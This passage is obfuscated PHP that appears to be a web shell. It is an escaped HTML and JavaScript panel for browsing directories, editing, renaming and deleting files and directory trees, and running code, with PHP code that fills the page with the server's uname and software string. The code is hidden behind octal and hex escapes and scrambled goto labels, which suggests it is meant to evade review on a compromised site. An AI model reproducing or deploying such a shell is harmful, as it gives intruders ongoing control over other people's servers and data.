0\x62\141\143\x6b\147\x72\157\165\x6e\x64\x2d\143\157\154\157\x72\72\40\x23\x66\x66\146\x3b\15\xa\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\x62\157\x72\x64\145\x72\55\162\x61\144\151\165\x73\x3a\40\62\x70\x78\x3b\xd\12\40\x20\40\x20\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x62\157\162\x64\x65\162\55\143\157\x6c\x6f\x72\72\40\43\145\145\145\73\xd\xa\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\40\175\15\12\xd\12\40\40\40\x20\40\40\x20\40\40\x20\40\40\x20\40\56\154\141\x79\x75\151\x2d\x62\164\x6e\x20\173\15\xa\x20\40\40\x20\40\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x64\x69\163\160\x6c\x61\171\72\x20\151\156\154\151\156\145\55\142\x6c\157\143\x6b\x3b\xd\xa\x20\40\x20\40\x20\x20\40\40\x20\40\40\x20\40\x20\x20\x20\150\x65\x69\147\x68\164\72\40\63\x38\x70\x78\x3b\xd\12\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x6c\x69\x6e\x65\x2d\x68\x65\x69\x67\x68\x74\x3a\40\x33\x38\160\x78\x3b\15\12\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\40\40\40\40\40\x70\141\x64\x64\x69\156\x67\72\x20\60\40\61\x38\160\170\73\15\12\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\40\40\40\x62\157\162\144\x65\162\x3a\40\x31\160\170\x20\163\x6f\154\x69\x64\40\x74\162\141\x6e\x73\x70\141\162\145\x6e\164\73\15\12\x20\40\x20\40\x20\40\40\x20\40\40\40\x20\x20\40\x20\40\x62\141\143\x6b\x67\162\157\x75\156\x64\x2d\x63\157\x6c\x6f\162\x3a\40\43\60\x30\71\66\70\70\73\xd\xa\40\x20\40\40\40\40\40\x20\x20\40\x20\40\x20\40\40\x20\143\157\154\157\x72\x3a\x20\x23\x66\146\146\73\15\12\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\40\x20\167\150\x69\x74\x65\x2d\163\160\141\143\145\x3a\40\x6e\157\167\x72\x61\x70\73\15\12\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\x20\164\145\170\x74\55\141\154\151\147\156\72\x20\x63\x65\156\164\145\x72\x3b\xd\12\40\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\146\x6f\x6e\x74\55\x73\x69\172\145\x3a\x20\x31\x34\x70\170\73\xd\xa\x20\40\x20\40\x20\40\40\x20\40\40\40\40\40\40\40\40\x62\x6f\162\x64\x65\162\x2d\162\x61\144\x69\165\x73\72\x20\62\160\x78\x3b\xd\12\40\40\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\40\40\x63\165\162\163\x6f\162\72\40\160\157\x69\156\x74\x65\162\x3b\15\12\40\x20\40\x20\40\40\40\40\40\x20\x20\40\x7d\15\xa\15\12\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\56\142\164\x6e\173\15\12\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\40\40\40\40\40\142\141\x63\x6b\147\162\157\x75\156\x64\x2d\143\x6f\154\x6f\162\72\x23\106\x46\106\73\15\12\40\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x62\157\162\x64\145\x72\x2d\143\157\x6c\157\x72\x3a\40\43\144\x32\x64\62\x64\62\73\xd\12\x20\x20\40\x20\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\x63\157\154\x6f\162\72\43\x36\66\66\x3b\xd\12\x20\40\x20\40\x20\x20\40\40\40\x20\40\40\x7d\15\12\40\40\40\x20\40\40\40\40\x3c\x2f\x73\x74\171\154\x65\x3e\xd\12\15\12\40\x20\x20\40\40\40\x20\40\x3c\163\143\162\x69\160\164\40\x74\x79\x70\x65\75\42\164\x65\170\164\57\152\x61\166\x61\163\143\162\x69\160\x74\x22\76\15\xa\x20\x20\40\40\40\40\40\x20\40\40\x20\x20\x66\x75\x6e\x63\x74\x69\157\156\40\x24\50\111\104\x29\x20\x7b\xd\12\40\40\40\x20\40\x20\40\40\40\40\x20\40\40\x20\x20\40\x72\145\x74\165\x72\156\40\x64\x6f\x63\165\155\145\x6e\x74\56\x67\145\164\105\154\145\155\145\156\x74\x42\x79\111\x64\50\111\x44\x29\x3b\xd\12\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\x7d\15\12\xd\xa\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\40\146\165\x6e\x63\x74\151\x6f\156\x20\x73\x64\50\163\164\162\51\40\x7b\15\xa\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\163\x74\162\40\75\x20\163\164\162\x2e\x72\145\x70\x6c\141\x63\x65\50\57\x25\x32\62\57\x67\x2c\40\x27\42\47\x29\73\15\xa\x20\40\x20\x20\40\x20\x20\40\40\40\40\40\40\40\x20\40\163\164\162\x20\x3d\40\163\164\162\x2e\x72\145\160\154\x61\143\145\x28\x2f\45\62\67\x2f\147\x2c\x20\x22\47\42\x29\x3b\15\xa\x20\40\40\x20\x20\40\40\40\x20\x20\40\40\x20\40\40\40\x72\x65\x74\165\162\156\x20\163\164\162\x3b\xd\xa\x20\x20\x20\x20\40\x20\x20\40\x20\40\40\x20\175\xd\xa\15\12\x20\40\40\40\x20\x20\x20\x20\40\40\40\x20\x66\165\x6e\x63\x74\151\157\x6e\x20\x63\x64\50\144\x69\x72\51\40\x7b\xd\12\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\x20\144\x69\162\x20\x3d\x20\163\144\50\x64\x69\x72\x29\x3b\xd\xa\x20\x20\40\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\44\50\x27\x64\x69\162\x27\x29\x2e\166\141\x6c\x75\145\40\x3d\40\x64\x69\162\x3b\xd\xa\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\44\x28\x27\x66\162\155\47\x29\x2e\163\x75\x62\155\x69\x74\50\51\73\xd\xa\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\175\15\12\xd\xa\40\40\40\40\x20\40\40\40\40\x20\x20\x20\x66\165\x6e\143\164\151\x6f\156\40\163\x61\50\146\x6f\162\x6d\51\x20\173\15\xa\x20\40\40\x20\40\40\40\40\40\40\40\40\x20\40\40\40\x66\157\x72\40\x28\x76\141\162\40\151\x20\75\40\x30\x3b\40\x69\x20\x3c\40\146\157\162\x6d\56\145\x6c\145\155\x65\x6e\x74\163\56\154\x65\156\x67\164\x68\73\x20\x69\x2b\53\51\40\173\xd\xa\40\x20\40\x20\40\40\40\40\40\40\40\40\x20\x20\x20\40\40\40\40\x20\x76\x61\162\40\145\40\75\40\x66\x6f\162\x6d\x2e\145\154\145\155\145\x6e\x74\163\x5b\151\135\73\xd\12\40\40\x20\40\40\40\40\40\x20\40\40\x20\40\x20\x20\40\x20\40\x20\40\151\x66\40\x28\x65\56\164\171\x70\145\40\x3d\75\40\x27\143\150\x65\x63\153\142\x6f\170\x27\x29\x20\x7b\15\xa\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\40\40\x69\x66\x20\x28\x65\x2e\156\x61\155\x65\x20\41\75\x20\47\x63\x68\x6b\x61\x6c\154\47\x29\x20\173\xd\xa\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\40\40\x20\40\x20\40\40\x20\x20\40\40\x65\56\x63\150\145\x63\x6b\x65\144\x20\x3d\x20\146\x6f\x72\155\56\x63\x68\153\141\x6c\154\x2e\143\x68\145\x63\x6b\x65\144\73\xd\12\40\40\40\x20\40\40\x20\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\40\40\40\40\x20\x7d\xd\12\40\x20\40\40\40\40\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\x7d\15\12\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x20\175\15\xa\x20\40\x20\x20\40\40\40\40\40\x20\40\40\175\15\12\15\xa\x20\40\x20\x20\x20\x20\40\40\40\40\x20\x20\146\x75\156\143\164\x69\x6f\156\x20\x67\x6f\x28\x61\54\x20\142\x29\x20\173\xd\12\40\40\40\x20\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\142\x20\x3d\x20\x73\144\x28\x62\x29\x3b\xd\12\40\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\x20\40\44\x28\47\147\x6f\47\51\56\166\141\154\x75\x65\40\75\40\x61\73\xd\12\40\40\40\x20\40\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\44\x28\47\147\157\x76\141\162\47\51\56\x76\x61\154\x75\145\x20\x3d\x20\x62\73\xd\12\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\40\x20\x69\x66\40\x28\141\40\75\x3d\40\x27\145\144\x69\164\157\162\x27\51\40\x7b\15\12\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\40\40\40\40\x20\44\50\47\147\x6f\x66\162\x6d\47\x29\56\x74\141\x72\x67\145\164\x20\75\40\42\137\x62\154\x61\x6e\153\42\73\15\12\x20\40\40\x20\40\x20\x20\40\x20\40\x20\x20\40\40\40\x20\x7d\x20\145\154\x73\145\x20\x7b\xd\12\x20\x20\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\40\x24\50\x27\x67\x6f\x66\162\155\47\51\56\164\x61\162\x67\145\164\x20\75\x20\x22\x22\73\15\xa\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\x7d\15\12\40\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x24\x28\x27\x67\157\146\162\155\47\51\56\163\x75\x62\x6d\x69\x74\50\x29\73\xd\12\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\175\xd\12\xd\xa\x20\x20\40\x20\40\x20\40\x20\40\40\x20\40\146\x75\x6e\143\164\151\157\156\40\156\x66\50\x61\x2c\x20\x62\51\x20\x7b\15\12\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\40\40\x20\x20\x72\x65\x20\75\x20\x70\162\x6f\x6d\160\x74\x28\42\xe6\x96\260\xe5\xbb\272\345\x90\215\42\54\40\142\x29\73\15\12\x20\x20\40\40\40\40\x20\40\x20\x20\40\40\x20\40\40\40\151\146\x20\50\162\145\51\40\173\xd\12\40\x20\40\40\40\40\x20\x20\40\40\40\x20\x20\40\40\x20\40\40\40\40\x24\x28\x27\147\x6f\47\51\56\166\x61\154\x75\145\x20\75\40\x61\73\15\xa\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x20\44\x28\47\147\x6f\x76\141\162\x27\x29\56\166\x61\x6c\165\145\40\x3d\x20\x72\x65\73\xd\12\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\40\x24\50\x27\147\x6f\146\162\x6d\x27\x29\56\163\165\x62\155\x69\164\50\51\73\xd\12\40\40\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\40\40\x7d\15\12\40\40\x20\x20\40\40\40\x20\40\x20\x20\x20\x7d\15\xa\xd\xa\40\40\40\40\40\40\40\x20\x20\x20\40\40\146\x75\156\x63\164\x69\x6f\x6e\40\x64\x65\154\163\x28\x61\x29\40\173\xd\xa\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\40\40\40\151\146\40\x28\141\x20\75\x3d\40\47\x62\x27\51\x20\173\xd\xa\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\40\x20\166\x61\x72\x20\155\163\x67\40\75\40\42\xe6\x89\x80\351\200\211\xe6\x96\x87\344\273\266\x22\73\15\xa\40\x20\40\x20\40\40\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x24\50\47\141\x63\164\47\x29\x2e\166\x61\x6c\x75\x65\40\75\40\x61\73\15\12\x20\x20\40\x20\40\40\40\40\40\40\40\x20\40\x20\x20\40\x7d\x20\145\154\x73\x65\x20\x7b\xd\xa\40\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x76\141\162\40\x6d\x73\x67\40\75\40\x22\xe7\233\xae\xe5\275\x95\x22\73\xd\12\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\x20\40\40\40\44\x28\47\141\x63\x74\x27\51\56\166\x61\x6c\x75\145\40\x3d\40\x27\x64\145\x6c\x74\162\145\145\47\73\15\xa\x20\40\x20\40\x20\40\40\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\40\44\50\x27\166\141\x72\x27\51\56\166\141\x6c\165\145\x20\x3d\40\141\x3b\15\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\x7d\15\12\40\40\x20\40\40\40\40\40\x20\x20\40\x20\40\40\40\x20\151\146\x20\50\143\157\x6e\146\x69\162\x6d\50\42\xe7\xa1\256\xe5\xae\232\xe8\xa6\201\xe5\210\xa0\351\x99\244\x22\x20\x2b\x20\x6d\163\x67\x20\53\40\42\345\220\x97\x22\51\51\x20\x7b\15\xa\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\40\40\40\40\x20\x20\40\40\44\50\x27\146\162\155\x31\x27\51\56\163\x75\x62\155\151\164\x28\51\73\xd\xa\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\175\xd\xa\40\40\40\40\40\40\40\40\x20\x20\x20\x20\175\15\xa\15\xa\40\x20\x20\x20\40\x20\40\40\x20\40\x20\x20\x66\x75\156\x63\164\x69\157\x6e\40\x74\170\x74\x73\50\155\x2c\x20\x70\x2c\40\x61\51\x20\x7b\15\12\x20\x20\40\40\40\40\40\40\x20\40\x20\x20\x20\x20\40\40\x70\x20\x3d\x20\163\x64\50\160\51\x3b\15\12\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x72\x65\x20\x3d\x20\x70\162\157\x6d\160\x74\x28\x6d\x2c\x20\160\x29\73\15\xa\40\x20\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\151\146\40\x28\x72\145\51\x20\x7b\xd\12\40\x20\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\40\40\40\40\x20\x20\44\x28\x27\x76\x61\162\x27\51\x2e\166\141\x6c\x75\145\40\x3d\x20\x72\145\73\xd\xa\40\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\40\40\40\40\40\x20\40\40\44\x28\x27\141\x63\x74\x27\51\x2e\x76\141\x6c\x75\x65\x20\75\40\x61\73\xd\xa\x20\x20\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\40\40\40\40\x20\40\44\x28\x27\x66\162\x6d\x31\47\51\56\x73\165\142\155\151\x74\50\x29\x3b\15\12\x20\x20\x20\x20\x20\x20\40\40\40\40\40\40\40\40\x20\x20\x7d\xd\12\40\40\40\x20\40\x20\x20\x20\40\x20\40\x20\x7d\xd\xa\15\12\40\40\40\x20\x20\40\40\40\40\40\40\40\146\165\156\143\164\x69\x6f\x6e\40\x70\x6c\164\145\x78\164\163\x28\155\x2c\40\x70\x2c\40\x61\51\15\xa\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\x7b\xd\xa\40\40\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\160\x20\75\x20\x73\144\50\160\51\73\15\12\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\x20\57\x2f\x20\162\145\40\75\40\160\x72\x6f\155\x70\164\x28\155\x2c\40\x70\x29\73\xd\xa\x20\40\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\x76\x61\x72\x20\x62\x67\40\75\x20\x64\157\x63\165\155\x65\156\x74\56\147\x65\x74\105\x6c\145\x6d\145\x6e\164\163\x42\x79\x43\x6c\x61\x73\x73\x4e\141\x6d\x65\x28\42\142\x67\x22\51\x5b\60\x5d\73\15\12\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\142\147\x2e\163\164\171\154\x65\56\144\151\163\160\154\141\x79\x3d\40\42\x22\73\15\12\15\xa\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\x20\x20\166\x61\162\x20\164\151\x74\154\x65\x20\75\x20\x64\157\x63\x75\x6d\145\156\164\x2e\147\145\164\x45\x6c\145\x6d\145\x6e\164\x73\x42\x79\x43\154\141\x73\x73\x4e\x61\x6d\x65\x28\x22\160\157\x70\x2d\164\x69\164\154\x65\x22\51\133\60\135\73\15\12\40\40\40\x20\x20\x20\x20\40\40\40\x20\40\40\40\40\x20\164\x69\164\x6c\x65\56\151\x6e\156\x65\162\110\x54\x4d\114\x20\x3d\x20\155\x3b\15\12\15\12\40\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\40\44\x28\47\x61\143\x74\x27\x29\x2e\x76\x61\154\165\x65\40\x3d\40\x61\x3b\15\xa\40\40\40\40\x20\x20\40\40\x20\x20\40\x20\175\15\xa\xd\xa\x20\x20\40\40\40\x20\40\40\40\40\x20\40\x66\165\x6e\x63\164\x69\x6f\x6e\40\160\157\160\x5f\163\x75\142\x6d\151\164\x28\x29\173\15\12\40\x20\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\x20\40\166\x61\x72\40\142\x67\40\x3d\40\144\157\143\x75\x6d\x65\x6e\164\x2e\147\x65\x74\x45\x6c\x65\x6d\145\x6e\164\x73\x42\171\103\154\141\163\x73\x4e\x61\x6d\145\x28\x22\x62\147\42\51\133\60\x5d\73\xd\xa\x20\x20\40\40\40\x20\40\40\40\x20\40\40\40\40\x20\40\x62\147\x2e\x73\164\171\x6c\x65\56\144\x69\163\x70\x6c\x61\x79\75\x20\x22\x6e\157\x6e\x65\x22\73\xd\xa\15\12\x20\40\x20\40\x20\40\40\40\40\40\x20\x20\x20\x20\40\40\x24\50\47\166\x61\x72\47\51\x2e\x76\141\154\165\x65\40\75\x20\144\157\x63\x75\155\x65\156\164\x2e\147\x65\x74\x45\154\145\155\145\x6e\x74\x42\171\111\144\50\x22\143\x6f\x6e\164\145\156\164\x22\x29\56\x76\x61\154\165\145\73\15\12\x20\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\x20\x20\44\50\x27\146\x72\x6d\61\x27\x29\x2e\x73\x75\x62\155\x69\164\x28\51\73\xd\12\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\175\15\xa\xd\12\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\146\x75\156\x63\x74\151\x6f\x6e\x20\x70\157\x70\137\161\165\170\151\141\157\50\x29\x7b\15\xa\40\40\40\x20\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\166\141\x72\40\x62\x67\x20\x3d\40\144\x6f\143\x75\x6d\x65\x6e\164\x2e\x67\145\x74\105\154\x65\x6d\x65\x6e\164\163\x42\171\x43\x6c\x61\163\163\116\141\x6d\x65\50\42\x62\147\42\x29\133\60\x5d\x3b\xd\12\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\x62\147\56\163\x74\x79\x6c\x65\56\144\x69\163\160\x6c\x61\x79\75\x20\x22\x6e\157\156\x65\42\73\xd\xa\x20\x20\40\x20\40\x20\40\40\x20\40\40\40\175\xd\xa\15\xa\x20\x20\40\x20\x20\x20\40\40\40\40\40\x20\146\165\156\x63\x74\151\157\156\x20\x61\143\164\x73\50\x70\54\x20\141\54\40\x66\51\40\x7b\xd\12\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\40\40\x20\160\x20\75\40\163\x64\50\160\51\73\xd\12\40\40\x20\40\40\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\146\40\75\40\x73\x64\x28\x66\x29\x3b\xd\12\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\x72\x65\40\75\x20\x70\162\157\x6d\160\x74\50\x66\54\x20\x70\x29\x3b\xd\12\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\151\146\40\x28\x72\x65\x29\40\173\15\xa\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\44\x28\x27\x76\141\x72\x27\51\x2e\x76\x61\x6c\165\145\40\75\x20\162\145\x20\x2b\40\47\x7c\170\x7c\47\40\53\x20\146\73\15\xa\x20\40\x20\x20\x20\40\40\40\x20\40\40\x20\x20\x20\40\x20\40\40\40\x20\44\50\x27\141\143\164\47\51\56\166\x61\x6c\165\145\40\x3d\40\141\73\15\xa\40\x20\40\40\40\40\40\40\x20\x20\40\x20\x20\40\40\40\x20\x20\40\40\x24\50\x27\146\x72\x6d\x31\47\51\56\x73\165\x62\155\151\164\50\x29\x3b\15\xa\x20\x20\x20\x20\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\x7d\15\xa\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\40\175\xd\12\xd\xa\40\40\40\40\40\40\40\40\x20\x20\40\40\146\165\x6e\143\x74\151\x6f\x6e\40\162\165\156\143\157\x64\145\50\x29\x7b\xd\12\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x76\141\162\x20\x68\164\x6d\x6c\x20\75\x20\144\x6f\x63\x75\x6d\x65\x6e\164\x2e\147\145\x74\105\154\145\x6d\x65\156\x74\102\171\111\144\50\x27\163\x68\157\x77\x27\51\73\xd\xa\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\x20\x20\150\x74\155\x6c\56\x73\x74\171\154\145\56\144\x69\x73\160\x6c\141\x79\75\40\x22\x22\x3b\xd\12\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x7d\15\xa\40\40\x20\x20\x20\40\40\40\x3c\57\x73\143\162\151\160\164\76\xd\12\40\40\x20\x20\40\40\40\x20\x3c\x74\151\x74\x6c\x65\76\x7b\126\x45\x52\123\x49\117\x4e\x7d\x3c\x2f\x74\151\164\x6c\x65\76\15\12\40\40\x20\40\74\x2f\150\x65\141\x64\x3e\15\xa\74\x62\157\x64\x79\76\xd\xa\74\144\151\x76\40\x63\x6c\141\x73\163\75\42\155\x61\151\156\x22\x3e\xd\12\x20\40\x20\40\x3c\x64\x69\166\x20\143\154\141\x73\163\75\x22\157\x75\164\x6c\42\76\xd\12\x20\x20\40\x20\x20\40\x20\x20\74\x64\x69\x76\40\x63\x6c\x61\x73\163\x3d\x22\x74\157\x70\164\141\x67\x22\x3e\xd\xa\40\40\40\40\x20\x20\x20\40\x20\x20\40\40\173\x74\x6f\x70\164\x61\147\175\xd\xa\40\40\40\40\x20\40\x20\40\x3c\x2f\144\x69\x76\76\15\xa\40\x20\x20\40\40\40\x20\40\xd\12\40\40\40\40\40\x20\x20\40\74\x64\x69\166\40\x63\154\141\163\x73\75\42\x74\x61\x67\x22\76\xd\xa\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\173\164\141\147\175\15\xa\40\40\x20\40\x20\x20\40\x20\x3c\57\144\151\x76\76\xd\xa\xd\12\x20\40\40\x20\40\40\x20\40\x3c\146\157\162\155\x20\156\x61\155\145\x3d\42\x67\157\146\x72\155\42\40\x69\144\75\x22\x67\x6f\x66\162\155\42\40\155\x65\x74\x68\157\144\x3d\42\120\x4f\123\124\x22\76\xd\xa\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\173\151\x6e\160\165\164\x7d\xd\12\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\40\74\x69\x6e\x70\x75\164\40\x74\171\160\x65\x3d\42\150\x69\144\x64\145\x6e\x22\x20\x6e\141\x6d\x65\75\x22\147\157\42\40\151\x64\x3d\42\x67\157\x22\40\x76\141\x6c\165\145\75\x22\x22\76\xd\xa\x20\x20\x20\x20\x20\40\40\40\40\40\40\40\x3c\151\156\x70\165\164\x20\x74\x79\x70\145\x3d\x22\x68\x69\144\144\x65\156\x22\x20\x6e\141\155\145\x3d\x22\147\x6f\x64\151\162\42\40\151\x64\75\42\147\x6f\144\x69\162\42\40\x76\141\154\x75\145\75\42\x7b\156\157\167\144\151\162\175\42\76\xd\12\40\40\x20\40\40\x20\40\x20\40\40\40\40\x3c\151\156\x70\165\164\40\x74\x79\160\x65\x3d\x22\150\x69\144\144\145\156\42\x20\x6e\x61\155\x65\75\x22\147\x6f\166\141\x72\x22\40\151\144\75\42\147\157\x76\x61\x72\x22\40\x76\x61\154\165\145\x3d\42\x22\x3e\15\xa\x20\x20\40\x20\x20\x20\x20\x20\74\x2f\x66\x6f\x72\155\76\15\12\xd\12\40\40\40\40\40\x20\40\40\173\143\x6f\156\x74\x65\156\164\x7d\xd\12\xd\xa\x20\40\40\40\40\40\x20\40\x3c\144\151\x76\40\143\x6c\x61\x73\163\x3d\x22\146\x6f\x6f\x74\141\x67\x22\76\xd\12\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\173\146\157\x6f\164\x61\147\175\15\xa\x20\x20\x20\x20\x20\x20\40\x20\74\x2f\144\x69\166\x3e\15\xa\40\40\40\x20\x3c\x2f\x64\151\x76\x3e\15\12\74\x2f\x64\x69\x76\76\xd\12\xd\12\x3c\144\151\x76\x20\x63\154\141\x73\163\x3d\x22\163\x68\x6f\x77\150\164\155\154\42\40\151\x64\x20\75\x20\x22\x73\150\x6f\x77\x68\164\x6d\x6c\42\76\xd\xa\x7b\x73\x68\x6f\167\150\x74\155\x6c\175\xd\12\x3c\x2f\x64\x69\166\x3e\xd\xa\15\12\x3c\144\151\166\x20\x63\154\141\x73\x73\x3d\42\142\x67\x22\x20\163\x74\x79\x6c\x65\75\42\144\151\163\x70\x6c\141\x79\x3a\x6e\157\156\145\x3b\x22\x3e\15\12\x20\x20\x20\40\74\x64\x69\166\x20\143\154\x61\x73\163\75\42\160\x6f\x69\x6e\164\x22\76\xd\xa\40\x20\40\x20\x20\40\x20\40\x3c\144\151\166\x20\x63\x6c\x61\163\x73\75\42\x70\157\160\42\76\xd\12\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\x3c\144\151\x76\x20\143\x6c\x61\163\x73\x3d\x22\x70\157\x70\55\x74\x69\164\x6c\x65\42\76\x3c\x2f\144\x69\x76\x3e\15\xa\40\40\x20\x20\x20\40\x20\40\40\40\x20\x20\74\x74\x65\x78\x74\x61\x72\145\x61\40\143\x6c\x61\163\163\75\x22\x6c\x61\171\165\151\x2d\164\145\x78\164\x61\162\145\141\x22\40\x69\144\75\x22\143\157\x6e\164\x65\x6e\164\42\40\x6e\x61\155\x65\x3d\x22\x63\x6f\156\x74\145\156\164\x22\x20\162\x6f\167\x73\x3d\42\x36\42\x3e\x3c\x2f\x74\145\170\x74\141\x72\x65\141\76\15\xa\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\x3c\x64\x69\166\40\163\164\171\x6c\x65\x3d\42\x6d\141\x72\x67\151\156\x2d\x74\157\x70\72\x20\x31\60\x70\170\73\164\145\170\x74\x2d\141\x6c\x69\x67\x6e\72\40\143\x65\x6e\164\x65\162\73\42\76\xd\12\x20\40\x20\40\x20\40\40\x20\40\40\x20\x20\40\x20\40\x20\x3c\x62\165\164\x74\x6f\156\40\x74\x79\x70\x65\75\42\x62\165\x74\x74\157\x6e\42\x20\143\154\141\x73\x73\75\x22\154\141\x79\x75\151\55\142\164\x6e\42\x20\x6f\156\143\154\151\143\x6b\x3d\42\x70\x6f\x70\x5f\x73\x75\x62\155\151\x74\50\51\x22\76\347\xa1\xae\345\256\x9a\x3c\57\142\x75\164\164\157\x6e\x3e\40\15\xa\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x20\74\142\x75\x74\164\x6f\156\x20\x74\171\160\145\75\x22\x62\x75\164\x74\x6f\x6e\42\40\143\154\141\x73\x73\x3d\x22\154\141\171\x75\x69\x2d\142\x74\156\40\x62\x74\156\x20\161\165\170\151\141\x6f\x2d\x62\164\x6e\x22\x20\157\156\143\x6c\151\x63\153\x3d\x22\160\x6f\160\x5f\161\165\x78\151\x61\157\50\51\42\76\xe5\217\x96\346\xb6\x88\x3c\x2f\x62\165\x74\x74\x6f\x6e\x3e\xd\12\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\x3c\57\144\x69\x76\76\xd\xa\40\40\x20\x20\x20\x20\x20\40\40\x20\40\40\74\x2f\x62\162\76\15\12\x20\40\x20\x20\40\40\x20\40\x3c\x2f\144\x69\x76\76\15\12\40\x20\x20\x20\x3c\x2f\144\x69\x76\76\15\xa\74\57\x64\151\x76\76\15\xa\xd\xa\x3c\x2f\142\x6f\144\x79\x3e\xd\12\x3c\x2f\150\x74\x6d\154\x3e\15\12\15\xa"; goto BFNR7; W0cas: $QSO8f = str_replace("\173\x69\x6e\x70\165\164\x7d", axttQ(), $QSO8f); goto vR14t; iNQqS: $QSO8f = str_replace("\x7b\146\157\x6f\x74\141\147\x7d", php_uname() . "\x20" . $_SERVER["\123\x45\122\126\105\122\x5f\x53\x4f\x46\124\127\101\122\105"], $QSO8f); goto N7QU1; C3VR1: $QSO8f = str_replace("\x7b\164\x6f\160\x74\141\147\x7d", $this->np5yK(), $QSO8f); goto QJNpW; vR14t: $QSO8f = str_replace("\173\x6e\x6f\167\144\x69\x72\175", $this->ddguj, $QSO8f); goto a8Ami; N7QU1: echo $QSO8f; goto fLw9P; BFNR7: $QSO8f = 